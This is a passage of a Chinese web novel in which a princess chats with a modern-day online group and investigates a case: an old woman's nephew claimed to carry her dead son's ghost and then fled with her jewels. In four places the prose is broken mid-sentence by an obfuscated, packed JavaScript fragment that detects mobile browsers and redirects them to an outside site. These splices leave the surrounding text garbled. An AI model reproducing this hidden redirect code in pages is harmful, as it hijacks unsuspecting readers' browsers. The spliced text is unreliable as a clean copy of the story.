“这个问题是无解的,话本中的人是什么命运,是写作者说了算。本来你是没有自我意识的,现在有了,所以才有这样的苦恼。不过天无绝人之路,上天也给你安排了改命的机会。” “嗯。之前的事情我无法选择,但以后的事我可以自己选。我要向前看。” “没错,保持积极的心态,一切都会越来越好的!” 聊完之后,姜柠想起之前在山上捡了许多花瓣,还没有做成花瓣画。 她把那些花瓣全都从布袋中拿出来,用清水洗净,去掉枯萎的花瓣,把剩下的花瓣擦干水分,放在一边。 接着,她拿出纸笔,在宣纸上画了几根树枝,还有几只小鸟。 树枝光秃秃的,没画花瓣。 姜柠把真实的花瓣粘贴到树枝上,按照自己的喜好排列,远远看上去,就像是用彩色颜料画出来的一样。 但凑近看时,花瓣又十分立体,比画出来的更生动别致。 冬香和小雪凑了过来,都很喜欢这幅花瓣画,看了又看。 小雪笑道:“公主,这么一来,都搞不清哪些是画上去的,哪些是粘贴上去的。就像这几只小鸟,我以为是真的呢,没想到是画的;这些花瓣呢,乍一看是画的,其实是真花。真真假假,虚虚实实的,好像把春天都画活了。” 冬香也道:“虽然现在是夏天,但这幅画倒真有春天的感觉。外面的四季变化是改变不了的,不过会画画的人却能在纸上任意创造四季,妙得很呢。” 小雪道:“光是会画画也没用,还得有咱们公主这般玲珑剔透的心思才行。” 姜柠笑道:“你们两个的小嘴跟抹了蜜似的,是不是希望我赏你们钱?” 小雪道:“本来没这么想的,您这么提了,我就想要银子。小姐,多给我一点。您要还想听我夸您,我还能不重样地夸一百句。” 姜柠:“你可闭嘴吧。” 冬香道:“我只要一百文。” 姜柠一边笑,一边给了她们一些散碎银两。 小雪拿了点零食,冬香泡了茶,屋里的氛围轻松而愉快。 过了一会,天色已晚,姜柠就让她们先去休息了。 冬香问道:“公主,为何您有时候会让我和小雪一起走?您不需要有人值夜吗?” 姜柠道:“今天不需要,我需要你们的时候会叫你们的。” “好吧。” 冬香和小雪走了出去,姜柠打开了夸夸群。 她跟夸夸群的人聊天的时候,需要发出声音,所以她自然不能让旁人发现这个秘密。 【感觉尸体暖暖的:姜柠,那个《女儿谱》的事怎么样了?】 【姜柠:经历了一番波折,总算推行下去了。现在已经有两个女孩加入了。】 【感觉尸体暖暖的:太好了。】 【樱桃小完犊子:我感觉不想成亲的人应该挺多的,但不是每个人都有胆子反抗父母和世俗观念。】 【姜柠:是啊,也只能顺其自然了。谢谢姐姐们给我出主意。】 【感觉尸体暖暖的:别客气。】 【姜柠:在你们那个年代,是不是不会有人催婚?】 【你已被群主移出群聊:不可能,催婚这种事,是不会随着时间而消失的。】 【活人微死:没错,每次逢年过节,对我们来说都像渡劫一样。】 【回笼教教主:换个话题吧,我有个朋友有点不舒服了。当然我是无所谓的,我根本不会破防,就是我那个朋友她有点汗流浃背了。当然说什么话题随你们,我是无所谓的,就是想照顾一下我朋友的感受。】【注释1】 【你已被群主移出群聊:哈哈哈哈哈哈】 【樱桃小完犊子:嘿嘿嘿嘿嘿】 【有趣的灵魂一百多斤:呵呵呵呵呵呵呵】 【姜柠:看来我们两个年代有相通之处啊。】 【活人微死:那必须的,两个年代各有优点吧,但有些弊端都是相似的。】 【你已被群主移出群聊:姜柠,你离高考……不是,离和亲还有十一天,加油冲刺!】 【姜柠:谢谢你提醒,我差点就想不起来了呢。】 【回笼教教主:哈哈哈哈】 【姜柠:还需要一万七千分,我觉得我能行。】 【只涨工资不长肉:好高的分数,我们高考只有750分,哈哈哈哈】 【姜柠:那个奇怪的符号是什么?】 【只涨工资不长肉:哦,就是七百五十。】 姜柠以前听她们聊过高考,所以大概知道是怎么回事。 【姜柠:你们只需要考几百分就能有光明的未来,我却要十万积分才能活着。】 【回笼教教主:姜柠好可怜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146981|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抱抱姜柠!】 【有趣的灵魂一百多斤:抱抱姜柠!】 【你已被群主移出群聊:小小十万分,拿捏!】 【姜柠:哈哈哈】 又聊了一会,姜柠便睡觉了。 临睡之时,她一直在想要如何才能快速攒够积分,想了几条对策,又觉得不够好,因此有些思虑重重,到了两更天才睡着。 第二天,姜柠一到公廨,便有人来报案,是个头发花白、弯腰驼背的老太太,看着有六七十岁了。 她拄着一根拐杖,急急忙忙地走进来,道:“大人……大人,帮帮忙啊,我儿子不见了……” 姜柠赶紧叫人搬来一张椅子,道:“老婆婆,您坐下说吧。” 这老婆婆道:“怪事,衙门里怎么有女人了?” 有个小吏介绍道:“这是大公主,县官生病,公主临时在此帮忙。你有何事直接说便是。” “哦,是这样……公主啊,我儿子不见了,你能帮我找找吗?” 姜柠正准备问一下前因后果,却听见有个叫宁咏的小吏惊讶道:“哎,你不是河东村的金婆婆吗?” 这老婆婆也认得宁咏,道:“你是宁家的孩子啊,都长这么大了……之前你跟父母来河东村走亲戚,咱们见过好几次呢。” 宁咏道:“是啊。不过我记得,前些年你儿子参军,已经战死沙场了啊。你哪里又来一个儿子?” 金婆婆道:“我儿子是死了,但是他又回来了……” 宁咏:“您老人家别吓我,这青天白日的,怎么还说起鬼故事来了?” “不是鬼故事……我儿子真的回来了……他陪了我一个月,没想到今天早上突然失踪了,我到处找也找不到,所以才来报案的……” 宁咏:“金婆婆,您该不会老糊涂了吧?” “没有,我才没老糊涂……” 见这老婆婆说得奇怪,姜柠问道:“老婆婆,您姓甚名谁,今年几岁,家住哪里,儿子是如何参军、如何战死,又是如何回来的,都详细说一遍。” 金婆婆道:“我老婆子叫柳金氏,家住河东村,村里的晚辈都叫我金婆婆。自从我嫁过来,一直不能生育,直到四十岁才生下一个儿子,取名柳湖山。 这孩子从小就喜欢舞刀弄棒的,我就让他跟着一个武术师傅学了几年。他十六岁那年,也就是三年前,想去参军。我跟他说,娘就你这么一个儿子,前些年你爹也过世了,只有我们娘俩相依为命,还是别走了吧。 但是我儿子说,好男儿志在四方,他要去参军,挣军功,让我过好日子。 见他心意已决,我就让他走了。没想到,不到一年,他就战死沙场了。官府把他的抚恤金和遗物送过来的时候,我还不敢相信。后来,我才逐渐接受了儿子已死的事实,觉得人生没什么指望了。 我也想随儿子去了,但村里人都劝我振作一点,一些年轻的大姑娘、小媳妇们还隔三差五地来陪我,帮我做家务,给我送吃送喝的。家里有什么活了,也都是村里的小伙子们帮忙干的。 我看她们这么照顾我,也不忍心辜负她们的好意,所以就这样活了下来。” 39. 窃金(修) 金婆婆接着说道:“没想到,一个月前,我的外甥宋远突然来看我了。我很惊喜,宋远是我亲姐姐的儿子,只是我跟他见面次数很少。自从姐姐、姐夫相继病故,我就更加与他们家失去了联系。 没想到,更让我惊喜的还在后面。宋远跟我说,他梦见了表弟柳湖山的鬼魂,也就是我儿子的鬼魂。 我赶紧问他,梦里湖山都说什么了。宋远说,湖山表弟告诉他,自己死后,唯一放心不下的就是老母亲。因为自己是为国捐躯,有功德,所以,神仙特准湖山的灵魂附在表哥身上,用表哥宋远的身体为母尽孝。 只需我这个做母亲的大喊三声他的名字,他就能附身在表哥身上了。 这事虽然离奇,但我觉得是真的。但是,我又怕儿子的鬼魂附身在外甥身上,会让外甥死去。外甥宋远告诉我,说是他被附身了也不会死,而是两个灵魂共存,不会互相妨碍。 我很高兴,就征得了宋远的同意,对着他大喊了三声柳湖山的名字。然后,我儿子的魂魄就真的附在了外甥身上。” 姜柠听得目瞪口呆:“原来,您说的儿子回来,是这个意思。那您怎么判断儿子的灵魂真的附在了宋远身上呢?” “因为,附身之后,宋远说出了一些只有我儿子才知道的事。比如,小时候东边院墙上全是爬山虎,现在已经没有了;以前我们家有个蜂巢,很多蜜蜂飞来飞去的,可以偷偷拿里面的蜂蜜喝;还有,小时候家里有一个碗缺了四个口,我都舍不得扔,结果吃饭的时候把嘴唇割破了。像这样的事,他一连说了十来件,我才相信,我儿子柳湖山真的回来了。” “既然宋远是您的外甥,那必然来过您家里做客,这些事他也有可能知道啊。” “公主有所不知,宋远小时候从来没来过我们家,我跟他第一次见面是在我姐姐的葬礼上,那时候他已经是个成年人了。” “哦?为何你们身为亲戚,却不走动?” 金婆婆:“因为栾伊城太偏远了,我姐姐家又跟我家隔着几百里路,所以就连我姐姐也不怎么来我家,这么多年一共才来过三四次吧。每次,她都是自己来的,没带家人,只带了个小丫环伺候。她说,她儿子身体不好,怕路远颠簸,会生病,所以就不带了。 说来惭愧,我姐姐倒是来看过我好几次,但是我一次都没去过她家。因为我家穷,能不走亲戚就不走亲戚了。所以,对于亲外甥宋远,我基本上没怎么照顾过。他能来看我,我也想不到。” 姜柠道:“既然你姐姐来过你家,那这些细节可能是你姐姐告诉宋远的。” “不会的,因为每次我姐姐都是随便坐坐就走了。她嫁到有钱人家,过惯了好日子,我家太简陋了,她待不惯。她也没有仔细观察过我家,所以很多事情她并不知道。” “爬山虎爬得满院墙都是,她一眼就看见了。还有蜜蜂,到处乱飞,她肯定能注意到。” “但是每次姐姐来,我都给她用完好无损的餐具,她根本不知道我家有破碗,还能知道是破了四个口子。而且,有一些事她确实没见过。” “具体是什么事?” 金婆婆:“比如,我以前有痛经的毛病,每次月事时肚子会很疼。夏天的时候,天气热,外面的石头会被晒得发烫。我儿子就会捡几块石头回来,用布包好,让我放在肚子上暖暖。 他只知道我肚子经常会疼,我却没告诉他是因为月事。这种事,总不好对一个男孩子说。我姐姐每次来看我时,我都不在月事期间,所以这个场景她从来没见过。 可是,她的儿子宋远却知道,说湖山经常在夏天捡石头给我热敷肚子,只是不知道我为何经常肚子疼。您说说,若不是湖山的鬼魂真的附身了,怎么能说出这件事呢?” 姜柠也觉得奇怪。亡魂附.身之说,实在过于怪诞。 姜柠猜测道:“是不是您出嫁之前也有用石头热敷肚子的习惯,你姐姐知道,所以告诉了自己的儿子?” “不会,我在娘家未嫁之时,每次痛经,都是喝一碗生姜水,从来没有用热石头敷肚子过。用石头热敷的法子,是我儿子柳湖山想出来的。” “这就怪了……” 姜柠可不相信什么亡魂附身之事,但金婆婆又言辞凿凿的,让人不得不信。 有几个小吏窃窃私语: “这老婆子,说不定是失心疯了。” “恐怕是她幻想自己的儿子能回来,所以编出这些瞎话。” “她可能是见到了外甥,就想起了自己的儿子,很希望儿子能附身在外甥身上,所以才这样自己骗自己。依我看,她外甥应该从来没说过这些话。” 姜柠也觉得,金婆婆可能是受到太大打击,所以精神有些失常了。 她按下心中的疑惑,接着问道:“亡魂附.身之后,发生了什么事?” 金婆婆:“宋远的身体里既有他自己的魂魄,也有我儿子的魂魄,对我来说是亲上加亲。因此,我一直留他住下,让他不要走了。反正我姐姐和姐夫已经不在了,他正好跟我相依为命。我还准备给他娶媳妇呢。 他一开始答应得好好的,说是会长住在我家。没想到,今天早晨,他突然不见了,我问了附近的人,都没人看见过他。” 姜柠道:“兴许是他有事出门了,到晚上就回来了,您先回家等等吧。” “是这样吗?他要出门,怎么不跟我说,也不留个纸条呢?” “兴许有什么急事吧。金婆婆,您先回家,如果明天他还没回来,您再来报案。” 接着,姜柠对小吏宁咏说道:“宁咏,既然你跟金婆婆认识,你陪她回家吧,顺便在她家住一晚上,免得金婆婆惊慌之下,身体出什么事。明天如果她外甥回来,你就把她外甥带来衙门一趟;若是她外甥没回来,你就带金婆婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146982|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来县衙报案。” 宁咏道:“还是公主想得周到,那我现在就陪金婆婆回去。” 金婆婆高兴地说:“宁家大郎,你陪我回去倒好,我做的饭菜还没人吃呢。我家一共就两间房,你就住我儿子那间房吧。” 宁咏陪金婆婆走后,小吏们继续讨论。 “这金婆婆家的事当真古怪,她那个外甥怎么知道她家以前的一些小事呢?难道真的被柳湖山附.身了?” “哪有这种事,我没听说过。该不会是那个宋远编瞎话骗金婆婆吧?他知道金婆婆的儿子死了,说出这些话来,就是为了让金婆婆把他当亲儿子,好把家产传给他。” “可是,看金婆婆的模样,家里好像很穷啊,没什么家产。而且,金婆婆不是说,她姐姐家里很有钱吗?那宋远应该不缺钱啊,怎么可能来谋夺金婆婆的三瓜俩枣呢?我敢说,金婆婆家里肯定连块完整的银子都找不到。” “关键是,宋远怎么能说准金婆婆家以前的事呢?他小时候明明没有来过啊?他如果乱编一些事,金婆婆肯定能分辨出真假,不会把他当亲儿子的。” “是啊,而且他现在匆匆离开,又是为什么呢?他大费周章地让金婆婆相信,柳湖山的鬼魂附在了他身上,那么接下来,他无论叫金婆婆做什么都可以啊。他完全可以让金婆婆照顾他饮食起居,给他娶媳妇,将来帮他带孩子。相当于他没了一个娘,又有一个新的娘来使唤。可是,他待了一个月就离开,后面这些好处就都没了啊……” 姜柠道:“也许,只有等宋远回来,被带到县衙,才能揭开这些谜团了。” 第二天,小吏宁咏带着金婆婆回来了。 金婆婆的神情比昨天更难过,一看就知道,她外甥肯定没回来。 宁咏对姜柠说道:“公主,金婆婆的外甥并未回来,而且属下还发现了一件事。” “什么事?” “金婆婆家里珍藏的一些珠宝没了。” 姜柠皱眉:“这么说,是她外甥宋远偷走了珠宝,然后跑了?这么一来,就说得通了。宋远先假装被表弟的灵魂附身,骗取金婆婆的信任。然后他暗中寻找金家的财产,发现了那些珠宝。于是,他找了一个凌晨,带着珠宝潜逃了。” 金婆婆语调带着哭声:“不会的,不会的……他是我的儿子,我有什么财产一定是传给他的,他何必偷走珠宝然后潜逃呢?他是我的湖山啊……他附身在表哥身上,就是为了给我尽孝,他不会离开我的……” 姜柠让金婆婆坐下,缓缓说道:“金婆婆,您先冷静一点。您怎么确定您儿子的魂魄一定附身在宋远身上呢?依我看,宋远就只是您外甥而已,您儿子的亡魂不在他身上。他之所以要跑,也是怕自己的谎言泄露。” “不,不是的……很多事情宋远不知道,只有我儿子知道。宋远能说出那些事,说明我儿子的亡魂真的在他身上……” 40. 呆滞(修) “也许,他是用了什么特殊的方法才知道的,绝对没有亡魂附.身这么玄乎的事。您想啊,您住在河东村这么多年,一举一动都可能有人看见,您家的事从来都不是秘密。也许,宋远是偷偷询问了街坊邻居,才得知您家的事,然后就来骗您。” “这……不会的,宋远不会这么做的,他是个好孩子……” “您不是说,您跟宋远没见过几次吗?那您怎么就能判断他人品是好是坏呢?我现在叫你们村的人过来,看宋远是否曾经询问过他们。” 姜柠叫一队衙役去河东村,把现在在村里的人都带过来问话。 另外,她询问宋远的相貌,让金婆婆描述出来,然后让一个擅长丹青的小吏画出来。 画完之后,姜柠接过来一看,见宋远是一个长相清秀、身材瘦削的年轻人,还有几分书卷气。乍一看,不像个坏人。 接着,姜柠对书吏说道:“你多画几张宋远的画像,全城通缉他。” 书吏:“是。” 金婆婆有些惊慌,道:“为什么要通缉我儿子?我儿子不是坏人,他可能明天就回来了……那些珠宝肯定不是他偷的,应该是有别的小偷……” 姜柠道:“现在要通缉的不是你儿子,而是你的外甥。你儿子已经离开人世了。” “不,他没有离开,他回来了,他真的回来了啊……” 金婆婆不停地喃喃自语,老泪纵横。 姜柠见她这副样子,既叹惋,又同情。同时,她还觉得宋远很可恶,明明知道金婆婆承受了丧子之痛,还要编一些瞎话来骗金婆婆,让金婆婆的心情大起大落。 为了转移金婆婆的注意力,同时也为了多了解一些细节,姜柠便跟金婆婆闲聊:“金婆婆,您家里失窃的珠宝,都有些什么东西,价值几何?” 金婆婆:“是一些首饰,有金麒麟、玉镯子、檀香手串之类的,一共十来件,价值至少有个一千多两吧,我没拿去珠宝行请人估算过。” “这么珍贵的首饰,是哪里来的?” 金婆婆:“我年轻的时候,曾救了一名过路的乞丐。他当时好像是中暑了,晕倒在我家门前。别人嫌他臭,都不肯上前,只有我把他搬到家里去,给他吃了点药。 他醒来之后,很感谢我,说自己是一个商人,为了掩人耳目,才打扮成乞丐的。他送了我一袋珠宝作为报答,我本来不想要,他非要留下,我就收了。 这些珠宝我一直藏着,舍不得换成钱用掉,想要留给后人。没想到,我儿子战死沙场,我没有后人了。但现在,我儿子的亡魂附在了外甥宋远的身上,我本来也是打算把这些珠宝传给他的,只是还没来得及说,就被偷走了。 公主,绝不可能是我儿子偷走的,您帮我抓小偷啊。” 姜柠:“金婆婆,您先冷静一下。您有珠宝的事,告诉过宋远吗?” “没有,我一直藏得很好的,也没有说出去过。” “您本来藏在哪里?” “藏在厨房柴火堆的最里面。我家的厨房一直堆着很多柴火,如果烧掉了一些,就会劈新的柴火放上去,所以最里面的柴火一直没有拿出来用,别人也想不到我会把珠宝藏在里面。” “会不会是宋远无意间发现了里面的珠宝,所以找了个合适的时机偷走了?” “不会,自从他来我家,我从来没有把那些珠宝拿出来看过,他应该不会知道。” “你说你姐姐家很有钱?那么宋远应该继承了一大笔家产了?” “应该是吧,我没问过。” “那他有没有赌钱的恶习?或是投资什么东西失败了?” “不知道,没听说过。” “那他在你家一个月,表现如何?有没有什么异常之处?” “好像没有,他对我很好的,天天帮我干活,还陪我上山挖野菜、摘蘑菇。在没人的时候,他都叫我娘,有别人在的时候才叫我姨母。” “原来是这样。那他有没有旁敲侧击地问过你家的财产?” “没有。” “有没有提起过他从军时候的事?” “没有。我倒是有问过,他说军营生活枯燥,没什么好说的。” “您是怎么发现珠宝不见了的?” “昨天晚上,宁家大郎陪我回了家,我让他住在我儿子的屋子里。他对我说,让我看看家里值钱的东西有没有丢失,我外甥很有可能卷款潜逃了。我不相信,但我还是去查看我家的珠宝,发现没有了。我当时就要来报官,宁家大郎说天色已晚,等天亮了他就陪我来县衙。” 小吏宁咏道:“没错,确实是这样。” 姜柠:“现场有发现形迹可疑的人吗?” 宁咏:“没有,金婆婆去厨房查看的时候,没发现什么人影,就连柴火也是好端端地摆放着。她把柴火移开之后,才发现里面的珠宝不见了。看来,宋远不仅偷走了珠宝,还把柴火复原了。如果金婆婆想不起查看珠宝的话,只怕很多天都不会发现珠宝失窃。” 姜柠:“现场可曾留下脚印?你有拓印下来吗?” 宁咏:“没有,厨房挺干净的,柴火堆附近也没有脚印,可能是宋远特意清除了脚印的痕迹。这说明宋远心思缜密,对于作案蓄谋已久。” 金婆婆道:“宁家大郎,你不能说我儿子是小偷啊……” 宁咏:“金婆婆,我们只是做个推测,不会直接判宋远是小偷的,至少先把他抓到,审问清楚再说。” 这时,衙役们把河东村的百姓带来了,男女老幼都有,大约有四十多人。 姜柠问:“河东村的百姓都来了吗?” 衙役道:“没有,河东村一共有一百多人,有一部分人外出干活,没在村里。在村里的就这么些,已经全都带来了。” 姜柠点头:“好的。大家都按身高站好吧,矮的站前面,高的站后面。” 村民们站好之后,就要下跪,姜柠赶紧说道:“不必下跪了,本公主只是有话要问,你们站着回答吧。” 村民当中还有孕妇和老者,姜柠让人搬来几张椅子,给行动不便的人坐下。 见待遇这么好,大家都有些震惊。 姜柠道:“各位村民别慌,本公主只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146983|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想问一些事情,问完了就让你们回去。金婆婆的外甥宋远,你们都认识吗?” 一个孕妇道:“见过几次,他好像是一个月前来我们村的,一直住在金婆婆家里。” 一个老者道:“他总是帮金婆婆干活,我们都觉得这小伙子为人不错。” 一个中年妇女道:“是啊,金婆婆没了儿子,有个外甥来尽孝也挺好的。” 姜柠问道:“宋远有没有私底下跟你们接触过?比如向你们打听金婆婆家以前的事?” “没有,我跟宋远只是碰见的时候打声招呼,没有私下说话过。” “是啊,他不串门的,有时候我们在玩牌,想让他加入,他也拒绝了。” 这四十几个村民都说,宋远没有私底下向他们打听什么。 那么,宋远为何会知道金婆婆家以前的事? 姜柠:“今天村民没来齐,说不定宋远跟你们的家人聊过。这样吧,你们回家之后,见到家人,就问问宋远有没有私下跟他们打听过什么。有的话,赶紧来县衙报官,可以获得奖励。” 村民们纷纷答应。 姜柠又道:“对了,宋远说他身上有他表弟柳湖山的亡魂,你们知道吗?” “啊?不知道啊。” “这是真的吗?太可怕了……” “难道柳湖山还没投胎吗?附在了自己表哥身上?” “宋远这孩子看着挺正常的,怎么净说胡话啊?” 见众人都是十分惊讶的表情,姜柠可以断定,宋远所说的附.身之事,只跟金婆婆说过。 姜柠又问:“宋远已经偷偷离开了,你们知道吗?” “不知道啊。” “这两天确实没看见他了,我还说他去哪了呢。” 姜柠:“诸位家中可有财物丢失吗?” “没有。” “好像没有,我得回家看看。” “我家没什么钱,就算小偷来了也没东西偷。” 姜柠道:“请大家回去之后好好检查一下家中财物,如果有遗失,就上报官府。另外,金婆婆的外甥宋远,小时候是不是没来过你们村?” “应该没有,我只知道金婆婆的姐姐来过,但她姐姐没带孩子来。” “对,我也没见过宋远小时候。” 姜柠:“金婆婆这些年,可有精神失常?” “她儿子去世后,她很伤心倒是真的。但应该没有精神失常。” “没有,她还算正常,也能跟我们说话,平时也能自己干活。只是儿子过世后,她一下子老了很多。” 姜柠:“那她会不会说一些根本没发生过的事情?” “好像没有。” “她这两年话挺少的,不过跟别人说话的时候,倒也正常,不会胡说八道。” 姜柠:“好,多谢诸位乡邻了,大家可以回家了。记得我刚才说过的话。” 众人纷纷答应,离开了衙门。 姜柠回头看金婆婆,发现她目光呆滞,口中不停地喃喃自语。 姜柠道:“金婆婆这是怎么了?” 41. 僧人(修) 金婆婆也没回答,宁咏说道:“金婆婆可能是受到了太大的刺激,伤心过度了。我看,休息两天应该就没事了。她年事已高,又是本案的重大证人,不如就让她住在衙门里吧。等结案了再送回家。” 姜柠点头:“也好。若是抓住了宋远,也可以叫金婆婆来辨认。” 宁咏便带着金婆婆到后面的客房去了。 金婆婆还不停地念叨:“抓住小偷……找到我儿子……” 姜柠询问众官吏:“这件事,诸位以为如何?” 有个小吏道:“这真是怪事啊。金婆婆的外甥知道她家以前的事情,要么是小时候来过,要么是别人告诉他的。可是,这两种可能都被否决了。” 另一个小吏道:“可是,刚才河东村的村民不是只来了一部分吗?说不定宋远是向没来的那些村民打听过金婆婆家的事。” “总不能那么凑巧吧,被打听过的村民一个都没来,来的全是不知情的?” “还是再等上一两天,看看情况吧。也许明天,河东村的村民会有什么新情况上报。” 姜柠道:“也只能如此了。” 第二天下午,河东村的村长来了,对姜柠道:“公主,昨日我们回家之后,问过所有的家人,她们都说跟宋远不熟,宋远也没有私下跟他们打听什么。而且,我们也没有财物丢失。为了不耽误各位大人审案,也不耽误村民们干活,就由我作为代表,来说明这一情况。” 姜柠道:“好,辛苦了,下去领赏银吧。” “多谢公主。” 河东村村长走后,姜柠问其他官吏:“当初给金婆婆家报丧、发抚恤金,是谁办的?” 一个叫陆其诚的小吏道:“回公主,是我。” “金婆婆的儿子真的死了吗?” 陆其诚惊讶道:“这肯定的,没死的话上头怎么会批阵亡抚恤金呢?这些年军费紧张,军中的每一笔开支都是仔细核算过的,不可能多发。” “那柳湖山的尸体有没有运回来?” “没有,很多军士死在战场上,又被人和战马践踏,尸身早就互相混合在一起,根本分不清谁是谁,只能根据谁没回来,判断出谁战死了。那些尸身也都是挖个万人坑埋葬了事,根本没法一具一具分开,分别送回家乡。” “也就是说,你也没见到柳湖山的尸体?” “没有。公主,您这是何意?莫非您怀疑柳湖山没死?” “有这个可能。宋远小时候没来过河东村,长大后又没有跟河东村的村民打听过什么,那他怎么知道那么多事?只有一个可能,就是柳湖山没死,是他告诉了自己的表哥。” “可是,柳湖山这么做,图什么呢?他要是没死,为何不赶紧回来见母亲?为何要让自己的表兄来到河东村,编出什么亡魂附.身的瞎话,让老母亲把表兄当成儿子?” “也许,有什么特殊的原因……可能柳湖山在战场上失去了胳膊腿,成了残疾人,行动不便,又怕母亲见了自己这副模样会伤心,干脆就再也不回来了,假死遁逃。他怕母亲没人照料,所以叫自己的表哥来照顾。” “这么说倒也合理,可是他表哥既然答应了他,为何区区一个月就要逃走,还带走了金家的珠宝?再怎么说,金婆婆也是宋远的亲姨母,而且宋远自己就有钱,没必要贪图姨母家的一点珠宝。” “也许宋远就是个人品不好的人,他虽然有钱,但还是见财起意,拿了姨母家的财物逃走。柳湖山所托非人了。” 余县丞道:“公主,这是不太可能的。每次战斗结束后,剩下的士兵都会打扫战场,捡走还能用的武器、衣服之类的。如果战场上还有活人,只是残疾了,他们也会救回去的。如果柳湖山真的没死,是没有可能瞒过所有人的,上级更不可能发阵亡抚恤金给他家里。伤残士兵也有残疾抚恤金可以拿的。” 姜柠:“也许,柳湖山确实残疾但没死,他求了自己的伙伴和上级,让他们隐瞒自己还活着的事,以免他母亲伤心。” “儿子死了跟儿子残疾了,哪一个更令母亲伤心?一个正常人,不管怎样都会选择跟自己母亲团聚的。公主,假设您是一个军官,您手下的士兵残疾了,不想跟父母相见,让你隐瞒,你会隐瞒吗?您会不会觉得,让一个年迈的母亲再也见不到儿子,太过残忍?您会不会劝那个士兵,好歹回家看看,活着总比死了强?” 姜柠:“是啊,确实有些不合理……可是,如果柳湖山真的死了,宋远又是从何处得知金婆婆家的那么多事情呢?” 余县丞摇头道:“属下也想不明白,可能只有抓到宋远才明白了。宋远这小子,身上好像有很多秘密啊,等抓回来了,非得大刑伺候不可。” 姜柠:“派一队衙役去宋远的家乡找他,如果找不到他人,也可以走访一下宋远的邻居,看看宋远平时是什么样的人,这些年都经历了什么。” 余县丞道:“宋远的家乡在秋风县,只需派一名衙役快马赶往那边,请秋风县的官员帮忙调查就可以了,我们这边不必派人过去,而且人手也不够。我现在写一封协同调查的文书便可。” “那就有劳余县丞了。” 余县丞把书信写好,交给一个年轻健壮的衙役,让他快马加鞭赶往秋风县。 姜柠问:“他要多久才能带回消息?” “秋风县离此地有六百多里,算上调查的时间,至少要三天。” “嗯,那就等等吧。” 姜柠心里有些着急,也不知道能不能在和亲之前把这件案子查清楚。 距离和亲的日期只有七天了。 如果她来不及查清,就只能把此案交给本地的官吏们了。至于案件的真相,她恐怕不会知道了。 这时,有两个年轻姑娘结伴而来,说是想加入《女儿谱》。 姜柠问了她们两个的年龄,她们都已经超过二十五岁了。 姜柠道:“两位姑娘的年龄符合条件,不过还需派人走访你们的邻里,了解一下你们的为人。同时,还要请人来给你们看看相,你们觉得可以吗?” 两位姑娘道:“可以。” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146984|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柠便派了几个小吏去走访这两位姑娘的邻居。 另外,她叫来一个衙役,让他去请慈云庵的静心师太下山。 静心师太会看相,凡是要加入《女儿谱》的人,都必须先得到静心师太的认可。 姜柠对那两个姑娘道:“衙役去请看相的人了,需要一点时间。而且走访你们的邻里也需要一点时间,两位姑娘可以先去后堂坐着等候。” “好的,多谢公主。” 大约一个时辰后,上山去请静心师太的衙役回来了。 他对姜柠说道:“静心师太去外地参加法会了,这两天不在庵里。” 姜柠:“这可不巧了,那就等静心师太回来再说吧。” 姜柠正准备去后堂找那两个姑娘,让她们改天再来,却发现守门的衙役跑了进来,道:“公主,静心师太现在在外面。” “真的吗?看来是师太参加法会回来了。” 姜柠有些惊喜,往门口走去。 静心师太果然在门外,不过,她却专心看着门口张贴的通缉令。 这张通缉令是宋远的通缉令,上面有他的画像,还写明了他偷盗姨母家的财物潜逃,若有人看见,提供线索,官府重重有赏。 姜柠道:“静心师太,您在看什么?难道您见过此人?” 静心师太有些困惑地说道:“官府怎么会通缉他呢?” “难道您认识他?” “贫尼不确定,好像认识。” “师太这是何意?难道这两天您见过他?” “贫尼确实见过一个跟他很像的人,不过那人没有头发。” “啊?没有头发?” “对,贫尼这两天去隔壁县的真源寺参加法会,寺庙里有个年轻僧人,虽出家不久,但聪慧明达,熟知经典,对于许多佛经都有独到的见解。他登坛说法,讲述自己最近修行的一些感悟,讲得妙语连珠,切中肯綮,令人佩服。他的长相,就跟这张通缉令上的人像非常相似,所以贫尼才驻足观看。” 